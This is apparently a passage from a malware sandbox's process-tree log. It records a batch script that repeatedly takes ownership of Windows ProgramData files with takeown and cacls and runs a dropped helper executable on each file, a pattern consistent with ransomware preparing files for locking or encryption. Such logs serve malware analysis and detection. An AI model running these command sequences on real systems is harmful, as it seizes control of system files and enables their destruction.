C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml" /E /G Admin:F /C3⤵PID:6636
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml"3⤵
- Modifies file permissions
PID:6792
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner3⤵PID:6784
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner4⤵PID:6448
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6728
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml""2⤵PID:6200
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml" /E /G Admin:F /C3⤵PID:1272
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml"3⤵PID:6244
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "DesktopSettings2013.xml" -nobanner3⤵PID:7012
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "DesktopSettings2013.xml" -nobanner4⤵PID:1800
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:4940
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml""2⤵PID:6356
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml" /E /G Admin:F /C3⤵PID:6916
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml"3⤵PID:6968
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner3⤵PID:1560
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner4⤵PID:6780
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6572
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml""2⤵PID:6368
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml" /E /G Admin:F /C3⤵PID:6260
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml"3⤵
- Modifies file permissions
PID:6680
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner3⤵PID:6296
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner4⤵PID:7060
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6924
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\VdiState.xml""2⤵PID:6656
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\VdiState.xml" /E /G Admin:F /C3⤵PID:6248
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\VdiState.xml"3⤵PID:6732
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "VdiState.xml" -nobanner3⤵PID:6956
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "VdiState.xml" -nobanner4⤵PID:6836
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6392
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵PID:6520
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵PID:6708
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵PID:7156
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "background.png" -nobanner3⤵PID:6604
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "background.png" -nobanner4⤵PID:6396
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7076
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml""2⤵PID:6564
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml" /E /G Admin:F /C3⤵PID:2316
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml"3⤵
- Modifies file permissions
PID:6844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKPOINTDATA.xml" -nobanner3⤵PID:6884
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKPOINTDATA.xml" -nobanner4⤵PID:6380
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6440
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl""2⤵PID:4672
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl" /E /G Admin:F /C3⤵PID:6624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl"3⤵
- Modifies file permissions
PID:6488
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner3⤵PID:4344
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner4⤵PID:6960
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2640
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.jfm""2⤵PID:6944
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.jfm" /E /G Admin:F /C3⤵PID:4884
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.jfm"3⤵PID:6788
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "qmgr.jfm" -nobanner3⤵PID:2736
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "qmgr.jfm" -nobanner4⤵PID:7120
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:264
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""2⤵PID:6208
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C3⤵PID:6460
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"3⤵
- Modifies file permissions
PID:1196
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner3⤵PID:6640
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner4⤵PID:6964
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:3952
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""2⤵PID:6324
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C3⤵PID:6156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"3⤵
- Modifies file permissions
PID:7124
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner3⤵PID:6808
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner4⤵PID:6180
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7088
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""2⤵PID:6544
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C3⤵PID:2900
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"3⤵PID:6308
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner3⤵PID:1512
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner4⤵PID:4652
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7164
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""2⤵PID:4668
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C3⤵PID:7148
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"3⤵
- Modifies file permissions
PID:6552
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner3⤵PID:4704
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner4⤵PID:6328
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2196
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵PID:6420
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵PID:3896
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵PID:2500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "superbar.png" -nobanner3⤵PID:4764
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "superbar.png" -nobanner4⤵PID:7172
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7196
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml""2⤵PID:7220
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml" /E /G Admin:F /C3⤵PID:7268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml"3⤵PID:7288
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner3⤵PID:7308
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner4⤵PID:7324
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7348
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵PID:7372
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵PID:7420
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵PID:7444
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "overlay.png" -nobanner3⤵PID:7464
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "overlay.png" -nobanner4⤵PID:7480
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7504
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml""2⤵PID:7528
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml" /E /G Admin:F /C3⤵PID:7576
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml"3⤵
- Modifies file permissions
PID:7596
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.DIAGNOSTICS.xml" -nobanner3⤵PID:7616
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.DIAGNOSTICS.xml" -nobanner4⤵PID:7632
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7656
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json""2⤵PID:7680
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json" /E /G Admin:F /C3⤵PID:7728
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json"3⤵PID:7748
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "utc.tracing.json" -nobanner3⤵PID:7768
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "utc.tracing.json" -nobanner4⤵PID:7784
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7808
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat""2⤵PID:7832
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C3⤵PID:7880
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat"3⤵
- Modifies file permissions
PID:7900
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "StorageHealthModel.dat" -nobanner3⤵PID:7920
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "StorageHealthModel.dat" -nobanner4⤵PID:7936
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7960
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml""2⤵PID:7984
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml" /E /G Admin:F /C3⤵PID:8032
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml"3⤵
- Modifies file permissions
PID:8052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner3⤵PID:8072
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner4⤵PID:8088
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:8112
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml""2⤵PID:8136
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml" /E /G Admin:F /C3⤵PID:8184
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml"3⤵PID:7188
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner3⤵PID:7208
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner4⤵PID:3416
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7044
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml""2⤵PID:7284
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml" /E /G Admin:F /C3⤵PID:7340
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml"3⤵PID:7352
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "ThemeSettings2013.xml" -nobanner3⤵PID:7264
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "ThemeSettings2013.xml" -nobanner4⤵PID:7256
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7440
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""2⤵PID:7448
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C3⤵PID:7524
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"3⤵
- Modifies file permissions
PID:7404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "behavior.xml" -nobanner3⤵PID:7392
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "behavior.xml" -nobanner4⤵PID:7584
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7600
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml""2⤵PID:7652
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml" /E /G Admin:F /C3⤵PID:7568
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml"3⤵
- Modifies file permissions
PID:7540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.SIUF.xml" -nobanner3⤵PID:7740
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.SIUF.xml" -nobanner4⤵PID:7752
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7804
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\osver.txt""2⤵PID:7828
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\osver.txt" /E /G Admin:F /C3⤵PID:7840
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\osver.txt"3⤵PID:7884
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "osver.txt" -nobanner3⤵PID:7928
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "osver.txt" -nobanner4⤵PID:7952
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7980
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.chk""2⤵PID:7864
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.chk" /E /G Admin:F /C3⤵PID:8060
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.chk"3⤵
- Modifies file permissions
PID:8096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb.chk" -nobanner3⤵PID:8084
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb.chk" -nobanner4⤵PID:8132
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:8016
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""2⤵PID:8144
-
